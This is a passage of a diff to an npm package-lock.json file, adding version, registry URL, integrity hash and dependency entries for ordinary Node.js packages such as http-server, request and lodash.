"requires": { + "json-buffer": "3.0.1" + } + }, + "lowercase-keys": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", + "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==" + }, + "mimic-response": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", + "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==" + }, + "normalize-url": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz", + "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==" + }, + "p-cancelable": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz", + "integrity": "sha512-BZOr3nRQHOntUjTrH8+Lh54smKHoHyur8We1V8DSMVrl5A2malOOwuJRnKRDjSnkoeBh4at6BwEnb5I7Jl31wg==" + }, + "responselike": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/responselike/-/responselike-2.0.0.tgz", + "integrity": "sha512-xH48u3FTB9VsZw7R+vvgaKeLKzT6jOogbQhEe/jewwnZgzPcnyWui2Av6JpoYZF/91uueC+lqhWqeURw5/qhCw==", + "requires": { + "lowercase-keys": "^2.0.0" + } + } + } + }, + "graceful-fs": { + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.8.tgz", + "integrity": "sha512-qkIilPUYcNhJpd33n0GBXTB1MMPp14TxEsEs0pTrsSVucApsYzW5V+Q8Qxhik6KU3evy+qkAAowTByymK0avdg==" + }, + "har-schema": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz", + "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=" + }, + "har-validator": { + "version": "5.1.5", + "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.5.tgz", + "integrity": "sha512-nmT2T0lljbxdQZfspsno9hgrG3Uir6Ks5afism62poxqBM6sDnMEuPmzTq8XN0OEwqKLLdh1jQI3qyE66Nzb3w==", + "requires": { + "ajv": "^6.12.3", + "har-schema": "^2.0.0" + } + }, + "has": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "requires": { + "function-bind": "^1.1.1" + } + }, + "has-symbol-support-x": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/has-symbol-support-x/-/has-symbol-support-x-1.4.2.tgz", + "integrity": "sha512-3ToOva++HaW+eCpgqZrCfN51IPB+7bJNVT6CUATzueB5Heb8o6Nam0V3HG5dlDvZU1Gn5QLcbahiKw/XVk5JJw==" + }, + "has-symbols": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", + "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==" + }, + "has-to-string-tag-x": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/has-to-string-tag-x/-/has-to-string-tag-x-1.4.1.tgz", + "integrity": "sha512-vdbKfmw+3LoOYVr+mtxHaX5a96+0f3DljYd8JOqvOLsf5mw2Otda2qCDT9qRqLAhrjyQ0h7ual5nOiASpsGNFw==", + "requires": { + "has-symbol-support-x": "^1.4.1" + } + }, + "he": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==" + }, + "http-cache-semantics": { + "version": "3.8.1", + "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-3.8.1.tgz", + "integrity": "sha512-5ai2iksyV8ZXmnZhHH4rWPoxxistEexSi5936zIQ1bnNTW5VnA85B6P/VpXiRM017IgRvb2kKo1a//y+0wSp3w==" + }, + "http-proxy": { + "version": "1.18.1", + "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.18.1.tgz", + "integrity": "sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==", + "requires": { + "eventemitter3": "^4.0.0", + "follow-redirects": "^1.0.0", + "requires-port": "^1.0.0" + } + }, + "http-server": { + "version": "0.12.3", + "resolved": "https://registry.npmjs.org/http-server/-/http-server-0.12.3.tgz", + "integrity": "sha512-be0dKG6pni92bRjq0kvExtj/NrrAd28/8fCXkaI/4piTwQMSDSLMhWyW0NI1V+DBI3aa1HMlQu46/HjVLfmugA==", + "requires": { + "basic-auth": "^1.0.3", + "colors": "^1.4.0", + "corser": "^2.0.1", + "ecstatic": "^3.3.2", + "http-proxy": "^1.18.0", + "minimist": "^1.2.5", + "opener": "^1.5.1", + "portfinder": "^1.0.25", + "secure-compare": "3.0.1", + "union": "~0.5.0" + } + }, + "http-signature": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz", + "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=", + "requires": { + "assert-plus": "^1.0.0", + "jsprim": "^1.2.2", + "sshpk": "^1.7.0" + } + }, + "http2-wrapper": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-1.0.3.tgz", + "integrity": "sha512-V+23sDMr12Wnz7iTcDeJr3O6AIxlnvT/bmaAAAP/Xda35C90p9599p0F1eHR/N1KILWSoWVAiOMFjBBXaXSMxg==", + "requires": { + "quick-lru": "^5.1.1", + "resolve-alpn": "^1.0.0" + } + }, + "ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==" + }, + "inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "into-stream": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/into-stream/-/into-stream-3.1.0.tgz", + "integrity": "sha1-lvsKk2wSur1v8XUqF9BWFqvQlMY=", + "requires": { + "from2": "^2.1.1", + "p-is-promise": "^1.1.0" + } + }, + "is-natural-number": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/is-natural-number/-/is-natural-number-4.0.1.tgz", + "integrity": "sha1-q5124dtM7VHjXeDHLr7PCfc0zeg=" + }, + "is-object": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-object/-/is-object-1.0.2.tgz", + "integrity": "sha512-2rRIahhZr2UWb45fIOuvZGpFtz0TyOZLf32KxBbSoUCeZR495zCKlWUKKUByk3geS2eAs7ZAABt0Y/Rx0GiQGA==" + }, + "is-plain-obj": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz", + "integrity": "sha1-caUMhCnfync8kqOQpKA7OfzVHT4=" + }, + "is-retry-allowed": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/is-retry-allowed/-/is-retry-allowed-1.2.0.tgz", + "integrity": "sha512-RUbUeKwvm3XG2VYamhJL1xFktgjvPzL0Hq8C+6yrWIswDy3BIXGqCxhxkc30N9jqK311gVU137K8Ei55/zVJRg==" + }, + "is-stream": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", + "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ=" + }, + "is-typedarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", + "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=" + }, + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" + }, + "isstream": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", + "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=" + }, + "isurl": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isurl/-/isurl-1.0.0.tgz", + "integrity": "sha512-1P/yWsxPlDtn7QeRD+ULKQPaIaN6yF368GZ2vDfv0AL0NwpStafjWCDDdn0k8wgFMWpVAqG7oJhxHnlud42i9w==", + "requires": { + "has-to-string-tag-x": "^1.2.0", + "is-object": "^1.0.1" + } + }, + "jsbn": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz", + "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=" + }, + "json-buffer": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.0.tgz", + "integrity": "sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg=" + }, + "json-schema": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz", + "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=" + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" + }, + "json-stringify-safe": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", + "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=" + }, + "jsprim": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz", + "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=", + "requires": { + "assert-plus": "1.0.0", + "extsprintf": "1.3.0", + "json-schema": "0.2.3", + "verror": "1.10.0" + } + }, + "keyv": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-3.0.0.tgz", + "integrity": "sha512-eguHnq22OE3uVoSYG0LVWNP+4ppamWr9+zWBe1bsNcovIMy6huUJFPgy4mGwCd/rnl3vOLGW1MTlu4c57CT1xA==", + "requires": { + "json-buffer": "3.0.0" + } + }, + "lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" + }, + "lowercase-keys": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz", + "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==" + }, + "make-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", + "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==", + "requires": { + "pify": "^4.0.1", + "semver": "^5.6.0" + } + }, + "mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" + }, + "mime-db": { + "version": "1.49.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.49.0.tgz", + "integrity": "sha512-CIc8j9URtOVApSFCQIF+VBkX1RwXp/oMMOrqdyXSBXq5RWNEsRfyj1kiRnQgmNXmHxPoFIxOroKA3zcU9P+nAA==" + }, + "mime-types": { + "version": "2.1.32", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.32.tgz", + "integrity": "sha512-hJGaVS4G4c9TSMYh2n6SQAGrC4RnfU+daP8G7cSCmaqNjiOoUY0VHCMS42pxnQmVF1GWwFhbHWn3RIxCqTmZ9A==", + "requires": { + "mime-db": "1.49.0" + } + }, + "mimic-response": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz", + "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==" + }, + "minimist": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", + "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" + }, + "mkdirp": { + "version": "0.5.5", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", + "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", + "requires": { + "minimist": "^1.2.5" + } + }, + "ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" + }, + "normalize-url": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-2.0.1.tgz", + "integrity": "sha512-D6MUW4K/VzoJ4rJ01JFKxDrtY1v9wrgzCX5f2qj/lzH1m/lW6MhUZFKerVsnyjOhOsYzI9Kqqak+10l4LvLpMw==", + "requires": { + "prepend-http": "^2.0.0", + "query-string": "^5.0.1", + "sort-keys": "^2.0.0" + }, + "dependencies": { + "sort-keys": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-2.0.0.tgz", + "integrity": "sha1-ZYU1WEhh7JfXMNbPQYIuH1ZoQSg=", + "requires": { + "is-plain-obj": "^1.0.0" + } + } + } + }, + "oauth-sign": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", + "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==" + }, + "object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=" + }, + "object-inspect": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.11.0.tgz", + "integrity": "sha512-jp7ikS6Sd3GxQfZJPyH3cjcbJF6GZPClgdV+EFygjFLQ5FmW/dRUnTd9PQ9k0JhoNDabWFbpF1yCdSWCC6gexg==" + }, + "once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "requires": { + "wrappy": "1" + } + }, + "opener": { + "version": "1.5.2", + "resolved": "https://registry.npmjs.org/opener/-/opener-1.5.2.tgz", + "integrity": "sha512-ur5UIdyw5Y7yEj9wLzhqXiy6GZ3Mwx0yGI+5sMn2r0N0v3cKJvUmFH5yPP+WXh9e0xfyzyJX95D8l088DNFj7A==" + }, + "p-cancelable": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-0.4.1.tgz", + "integrity": "sha512-HNa1A8LvB1kie7cERyy21VNeHb2CWJJYqyyC2o3klWFfMGlFmWv2Z7sFgZH8ZiaYL95ydToKTFVXgMV/Os0bBQ==" + }, + "p-event": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/p-event/-/p-event-2.3.1.tgz", + "integrity": "sha512-NQCqOFhbpVTMX4qMe8PF8lbGtzZ+LCiN7pcNrb/413Na7+TRoe1xkKUzuWa/YEJdGQ0FvKtj35EEbDoVPO2kbA==", + "requires": { + "p-timeout": "^2.0.1" + } + }, + "p-finally": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", + "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=" + }, + "p-is-promise": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/p-is-promise/-/p-is-promise-1.1.0.tgz", + "integrity": "sha1-nJRWmJ6fZYgBewQ01WCXZ1w9oF4=" + }, + "p-timeout": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/p-timeout/-/p-timeout-2.0.1.tgz", + "integrity": "sha512-88em58dDVB/KzPEx1X0N3LwFfYZPyDc4B6eF38M1rk9VTZMbxXXgjugz8mmwpS9Ox4BDZ+t6t3QP5+/gazweIA==", + "requires": { + "p-finally": "^1.0.0" + } + }, + "pend": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", + "integrity": "sha1-elfrVQpng/kRUzH89GY9XI4AelA=" + }, + "performance-now": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=" + }, + "pify": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", + "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==" + }, + "pinkie": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz", + "integrity": "sha1-clVrgM+g1IqXToDnckjoDtT3+HA=" + }, + "pinkie-promise": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz", + "integrity": "sha1-ITXW36ejWMBprJsXh3YogihFD/o=", + "requires": { + "pinkie": "^2.0.0" + } + }, + "png-js": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/png-js/-/png-js-1.0.0.tgz", + "integrity": "sha512-k+YsbhpA9e+EFfKjTCH3VW6aoKlyNYI6NYdTfDL4CIvFnvsuO84ttonmZE7rc+v23SLTH8XX+5w/Ak9v0xGY4g==" + }, + "portfinder": { + "version": "1.0.28", + "resolved": "https://registry.npmjs.org/portfinder/-/portfinder-1.0.28.tgz", + "integrity": "sha512-Se+2isanIcEqf2XMHjyUKskczxbPH7dQnlMjXX6+dybayyHvAf/TCgyMRlzf/B6QDhAEFOGes0pzRo3by4AbMA==", + "requires": { + "async": "^2.6.2", + "debug": "^3.1.1", + "mkdirp": "^0.5.5" + } + }, + "prepend-http": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-2.0.0.tgz", + "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc=" + }, + "process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" + }, + "psl": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz", + "integrity": "sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ==" + }, + "pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "punycode": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", + "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==" + }, + "qrcode-terminal": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/qrcode-terminal/-/qrcode-terminal-0.12.0.tgz", + "integrity": "sha512-EXtzRZmC+YGmGlDFbXKxQiMZNwCLEO6BANKXG4iCtSIM0yqc/pappSx3RIKr4r0uh5JsBckOXeKrB3Iz7mdQpQ==" + }, + "qs": { + "version": "6.10.1", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.10.1.tgz", + "integrity": "sha512-M528Hph6wsSVOBiYUnGf+K/7w0hNshs/duGsNXPUCLH5XAqjEtiPGwNONLV0tBH8NoGb0mvD5JubnUTrujKDTg==", + "requires": { + "side-channel": "^1.0.4" + } + }, + "query-string": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/query-string/-/query-string-5.1.1.tgz", + "integrity": "sha512-gjWOsm2SoGlgLEdAGt7a6slVOk9mGiXmPFMqrEhLQ68rhQuBnpfs3+EmlvqKyxnCo9/PPlF+9MtY02S1aFg+Jw==", + "requires": { + "decode-uri-component": "^0.2.0", + "object-assign": "^4.1.0", + "strict-uri-encode": "^1.0.0" + } + }, + "quick-lru": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", + "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==" + }, + "readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "request": { + "version": "2.88.2", + "resolved": "https://registry.npmjs.org/request/-/request-2.88.2.tgz", + "integrity": "sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==", + "requires": { + "aws-sign2": "~0.7.0", + "aws4": "^1.8.0", + "caseless": "~0.12.0", + "combined-stream": "~1.0.6", + "extend": "~3.0.2", + "forever-agent": "~0.6.1", + "form-data": "~2.3.2", + "har-validator": "~5.1.3", + "http-signature": "~1.2.0", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.19", + "oauth-sign": "~0.9.0", + "performance-now": "^2.1.0", + "qs": "~6.5.2", + "safe-buffer": "^5.1.2", + "tough-cookie": "~2.5.0", + "tunnel-agent": "^0.6.0", + "uuid": "^3.3.2" + }, + "dependencies": { + "qs": { + "version": "6.5.2", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz", + "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==" + }, + "tough-cookie": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz", + "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==", + "requires": { + "psl": "^1.1.28", + "punycode": "^2.1.1" + } + } + } + }, + "requires-port": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", + "integrity": "sha1-kl0mAdOaxIXgkc8NpcbmlNw9yv8=" + }, + "resolve-alpn": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.2.1.tgz", + "integrity": "sha512-0a1F4l73/ZFZOakJnQ3FvkJ2+gSTQWz/r2KE5OdDY0TxPm5h4GkqkWWfM47T7HsbnOtcJVEF4epCVy6u7Q3K+g==" + }, + "responselike": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/responselike/-/responselike-1.0.2.tgz", + "integrity": "sha1-kYcg7ztjHFZCvgaPFa3lpG9Loec=", + "requires": { + "lowercase-keys": "^1.0.0" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "secure-compare": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/secure-compare/-/secure-compare-3.0.1.tgz", + "integrity": "sha1-8aAymzCLIh+uN7mXTz1XjQypmeM=" + }, + "seek-bzip": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/seek-bzip/-/seek-bzip-1.0.6.tgz", + "integrity": "sha512-e1QtP3YL5tWww8uKaOCQ18UxIT2laNBXHjV/S2WYCiK4udiv8lkG89KRIoCjUagnAmCBurjF4zEVX2ByBbnCjQ==", + "requires": { + "commander": "^2.8.1" + } + }, + "semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==" + }, + "side-channel": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", + "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", + "requires": { + "call-bind": "^1.0.0", + "get-intrinsic": "^1.0.2", + "object-inspect": "^1.9.0" + } + }, + "sort-keys": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-1.1.2.tgz", + "integrity": "sha1-RBttTTRnmPG05J6JIK37oOVD+a0=", + "requires": { + "is-plain-obj": "^1.0.0" + } + }, + "sort-keys-length": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/sort-keys-length/-/sort-keys-length-1.0.1.tgz", + "integrity": "sha1-nLb09OnkgVWmqgZx7dM2/xR5oYg=", + "requires": { + "sort-keys": "^1.0.0" + } + }, + "sshpk": { + "version": "1.16.1", + "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.16.1.tgz", + "integrity": "sha512-HXXqVUq7+pcKeLqqZj6mHFUMvXtOJt1uoUx09pFW6011inTMxqI8BA8PM95myrIyyKwdnzjdFjLiE6KBPVtJIg==", + "requires": { + "asn1": "~0.2.3", + "assert-plus": "^1.0.0", + "bcrypt-pbkdf": "^1.0.0", + "dashdash": "^1.12.0", + "ecc-jsbn": "~0.1.1", + "getpass": "^0.1.1", + "jsbn": "~0.1.0", + "safer-buffer": "^2.0.2", + "tweetnacl": "~0.14.0" + } + }, + "strict-uri-encode": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/strict-uri-encode/-/strict-uri-encode-1.1.0.tgz", + "integrity": "sha1-J5siXfHVgrH1TmWt3UNS4Y+qBxM=" + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "requires": { + 